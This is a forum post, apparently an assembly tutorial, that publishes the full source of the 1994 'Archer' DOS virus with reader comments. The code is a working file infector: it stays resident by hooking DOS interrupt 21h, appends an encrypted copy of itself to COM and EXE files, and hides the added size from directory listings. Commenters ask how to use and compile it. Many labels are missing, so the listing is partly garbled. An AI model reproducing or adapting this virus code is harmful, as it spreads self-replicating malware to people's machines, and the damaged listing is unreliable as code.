Archer Virus Source code

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This is an article on Archer Virus Source code in Assembly Language Programming (ALP) Tutorials.
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Looking through some archives of mine, I found some old BW (Biological Warfare) documents virus kits, and source codes. So here is an old virus from 1994 written in assembly language, if you do manage to compile it it basically sends a green arrow across the screen. But I am sure (ha ha ) that all of the new AV companies should pick up that it is an exe infecter.

; archer.asm : [Archer] MnemoniX `94
; Created with Biological Warfare - Version 0.90á by MnemoniX

PING            equ     0AE3Bh
PONG            equ     0CD28h
STAMP           equ     30
MARKER          equ     04D4Dh

code            segment
                org     0
                assume  cs:code,ds:code

                db      0E9h,3,0          ; to virus
                db      0CDh,20h,0        ; host program

                db      0BBh                    ; decryption module
code_offset     dw      offset virus_code
                mov     dx,VIRUS_SIZE / 2 + 1

                db      02Eh,081h,07h           ; ADD CS:[BX]
cipher          dw      0
                inc     bx
                inc     bx
                dec     dx
                jnz     decrypt

                call    $ + 3             ; BP is instruction ptr.
                pop     bp
                sub     bp,offset $ - 1

                push    ds es

                mov     ax,PING           ; test for residency
                int     21h
                cmp     bx,PONG
                je      installed

                mov     ax,es                   ; Get PSP
                dec     ax
                mov     ds,ax                   ; Get MCB

                sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
                sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
                mov     es,word ptr ds:[12h]

                push    cs                      ; copy virus into memory
                pop     ds
                xor     di,di
                mov     si,bp
                mov     cx,(virus_end - start) / 2 + 1
                rep     movsw

                xor     ax,ax                   ; capture interrupts
                mov     ds,ax

                sub     word ptr ds:[413h],(MEM_SIZE+1023) / 1024

                mov     si,21h * 4              ; get original int 21
                mov     di,offset old_int_21

                mov     word ptr ds:[si - 4],offset new_int_21
                mov     ds:[si - 2],es          ; and set new int 21

                call    activate                ; activation routine

                pop     es ds                   ; restore segregs
                cmp     sp,MARKER               ; check for .EXE
                je      exe_exit

                lea     si,[bp + host]          ; restore host program
                mov     di,100h
                push    di

                call    fix_regs                ; fix up registers
                ret                             ; and leave
                mov     ax,ds                   ; fix up return address
                add     ax,10h
                add     ax,cs:[bp + exe_cs]
                mov     cs:[bp + return_cs],ax

                mov     ax,cs:[bp + exe_ip]
                mov     cs:[bp + return_ip],ax
                mov     sp,[bp + exe_sp]        ; restore SP

                call    fix_regs                ; fix up registers
                db      0EAh                    ; back to host program
return_ip       dw      0
return_cs       dw      0

exe_cs          dw      -16                     ; orig CS:IP
exe_ip          dw      103h
exe_sp          dw      -2                      ; orig SP

                xor     ax,ax
                xor     bx,bx
                mov     si,100h
                xor     di,di

; interrupt 21 handler
                call    dword ptr cs:[old_int_21]

                cmp     ax,PING                 ; residency test
                je      ping_pong
                cmp     ax,4B00h                ; execute program
                je      execute
                cmp     ah,3Dh                  ; file open
                je      file_open
                cmp     ah,11h                  ; directory stealth
                je      dir_stealth
                cmp     ah,12h
                je      dir_stealth
                db      0EAh                    ; never mind ...
old_int_21      dd      0

                mov     bx,PONG

                call    int_21                  ; get dir entry
                test    al,al
                js      dir_stealth_done

                push    ax bx es
                mov     ah,2Fh
                int     21h

                cmp     byte ptr es:[bx],-1     ; check for extended FCB
                jne     no_ext_FCB
                add     bx,7
                mov     ax,es:[bx + 17h]        ; check for infection marker
                and     al,31
                cmp     al,STAMP
                jne     dir_fixed

                sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
                sbb     word ptr es:[bx + 1Fh],0
                pop     es bx ax

                push    ax cx di es
                call    get_extension
                cmp     [di],'OC'               ; .COM file?
                jne     perhaps_exe             ; perhaps .EXE then
                cmp     byte ptr [di + 2],'M'
                jne     not_prog
                jmp     a_program
                cmp     [di],'XE'               ; .EXE file?
                jne     not_prog
                cmp     byte ptr [di + 2],'E'
                jne     not_prog
                pop     es di cx ax
                jmp     execute                 ; infect file
                pop     es di cx ax
                jmp     int_21_exit

                push    ax bx cx dx si di ds es

                xor     ax,ax                   ; critical error handler
                mov     es,ax                   ; routine - catch int 24
                mov     es:[24h * 4],offset int_24
                mov     es:[24h * 4 + 2],cs

                mov     ax,4300h                ; change attributes
                int     21h

                push    cx dx ds
                xor     cx,cx
                call    set_attributes

                mov     ax,3D02h                ; open file
                call    int_21
                jc      cant_open
                xchg    bx,ax
                push    cs                      ; CS = DS
                pop     ds

                mov     ax,5700h                ; save file date/time
                int     21h
                push    cx dx
                mov     ah,3Fh
                mov     cx,28
                mov     dx,offset read_buffer
                int     21h

                cmp     word ptr read_buffer,'ZM' ; .EXE?
                je      infect_exe              ; yes, infect as .EXE

                mov     al,2                    ; move to end of file
                call    move_file_ptr

                cmp     dx,65279 - (VIRUS_SIZE + 3)
                ja      dont_infect             ; too big, don't infect

                sub     dx,VIRUS_SIZE + 3       ; check for previous infection
                cmp     dx,word ptr read_buffer + 1
                je      dont_infect

                add     dx,VIRUS_SIZE + 3
                mov     word ptr new_jump + 1,dx

                add     dx,103h
                call    encrypt_code            ; encrypt virus

                mov     dx,offset read_buffer   ; save original program head
                int     21h
                mov     ah,40h                  ; write virus to file
                mov     cx,VIRUS_SIZE
                mov     dx,offset encrypt_buffer
                int     21h

                xor     al,al                   ; back to beginning of file
                call    move_file_ptr

                mov     dx,offset new_jump      ; and write new jump
                int     21h

                pop     dx cx
                and     cl,-32                  ; add time stamp
                or      cl,STAMP                ; for directory stealth
                mov     ax,5701h                ; restore file date/time
                int     21h

                pop     ds dx cx                ; restore attributes
                call    set_attributes

                mov     ah,3Eh                  ; close file
                int     21h

                pop     es ds di si dx cx bx ax
                jmp     int_21_exit             ; leave

                mov     ax,4301h
                int     21h

                pop     cx dx                   ; can't infect, skip
                jmp     close

                mov     ah,42h                  ; move file pointer
                xor     cx,cx
                int     21h

                mov     dx,ax                   ; set up registers
                mov     ah,40h
                mov     cx,3
                cmp     word ptr read_buffer[26],0
                jne     dont_infect             ; overlay, don't infect

                cmp     word ptr read_buffer[16],MARKER
                je      dont_infect             ; infected already

                les     ax,dword ptr read_buffer[20]
                mov     exe_cs,es               ; CS
                mov     exe_ip,ax               ; IP

                mov     ax,word ptr read_buffer[16]
                mov     exe_sp,ax               ; SP
                mov     word ptr read_buffer[16],MARKER
                mov     ax,4202h                ; to end of file
                xor     cx,cx
                int     21h

                push    ax dx                   ; save file size

                push    bx
                mov     cl,12                   ; calculate offsets for CS
                shl     dx,cl                   ; and IP
                mov     bx,ax
                mov     cl,4
                shr     bx,cl
                add     dx,bx
                and     ax,15
                pop     bx

                sub     dx,word ptr read_buffer[8]
                mov     word ptr read_buffer[22],dx
                mov     word ptr read_buffer[20],ax

                pop     dx ax                   ; calculate prog size

                add     ax,VIRUS_SIZE + 3
                adc     dx,0
                mov     cx,512                  ; in pages
                div     cx                      ; then save results
                inc     ax
                mov     word ptr read_buffer[2],dx
                mov     word ptr read_buffer[4],ax
                mov     dx,word ptr read_buffer[20]
                call    encrypt_code            ; encrypt virus

                mov     ah,40h
                mov     cx,VIRUS_SIZE + 3
                mov     dx,offset encrypt_buffer
                int     21h

                mov     ax,4200h                ; back to beginning
                xor     cx,cx
                int     21h

                mov     ah,40h                  ; and fix up header
                mov     cx,28
                mov     dx,offset read_buffer
                int     21h
                jmp     fix_date_time           ; done

courtesy_of     db      '[BW]',0
signature       db      '[Archer] MnemoniX `94',0

                xor     ah,ah                   ; get system time
                int     1Ah
                cmp     dl,0F1h
                jb      no_activate

                mov     ah,0Fh                  ; get display page
                int     10h

                mov     al,dl                   ; random number, 0-15
                and     al,15

                mov     ah,3                    ; activating - get cursor
                int     10h                     ; position and save
                push    dx

                mov     dh,al                   ; set cursor at random
                xor     dl,dl                   ; row, column 1
                mov     ah,2
                int     10h

                mov     di,79
                mov     cx,1

                mov     ax,91Ah                 ; print arrow and erase
                mov     bl,10                   ; 79 times
                int     10h

                push    cx                      ; time delay
                mov     cx,-200
                rep     lodsb
                pop     cx

                mov     ah,2
                mov     dl,' '
                int     21h

                dec     di
                jnz     arrow

                pop     dx                      ; reset cursor
                mov     ah,2
                int     10h                     ; and we're done


                push    ds                      ; find extension
                pop     es
                mov     di,dx
                mov     cx,64
                mov     al,'.'
                repnz   scasb

                push    ax cx

                push    dx
                xor     ah,ah                   ; get time for random number
                int     1Ah

                mov     cipher,dx               ; save encryption key
                pop     cx
                add     cx,virus_code - virus_begin
                mov     code_offset,cx          ; save code offset

                push    cs                      ; ES = CS
                pop     es

                mov     si,offset virus_begin   ; move decryption module
                mov     di,offset encrypt_buffer
                mov     cx,virus_code - virus_begin
                rep     movsb

                mov     cx,VIRUS_SIZE / 2 + 1
                lodsw                           ; encrypt virus code
                sub     ax,dx
                loop    encrypt

                pop     cx ax

                mov     al,3                    ; int 24 handler
new_jump        db      0E9h,0,0

VIRUS_SIZE      equ     virus_end - virus_begin
read_buffer     db      28 dup (?)              ; read buffer
encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer


MEM_SIZE        equ     end_heap - start

code            ends
                end     start
Don't hurt yourself
Muthukumaran's Avatar, Join Date: May 2011
Light Poster
please say me how to use it
TPrice's Avatar, Join Date: Aug 2010
Light Poster
This is very interesting. I always wondered what ever would possess someone to take out the time to write viruses just for the sake of causing havoc on peoples computers. It just doesn't seem like a very nice thing to do if you ask me. Maybe that time would be better spent writing useful programs or even playing video games. Thank you for this example, I find it fascinating to actually see the source code for a virus.
Scripting's Avatar, Join Date: Jun 2010
John Hoder
Which compiler does man use to compile it?
Tobiasgar's Avatar
Go4Expert Member
coool)) in 90s people were doing such things))
Umer Farooq's Avatar, Join Date: Dec 2011
Newbie Member
hambim336's Avatar, Join Date: Dec 2011
Newbie Member

Thanks very much for this comment. It help me to think about my ideals.

Tks again and pls keep posting.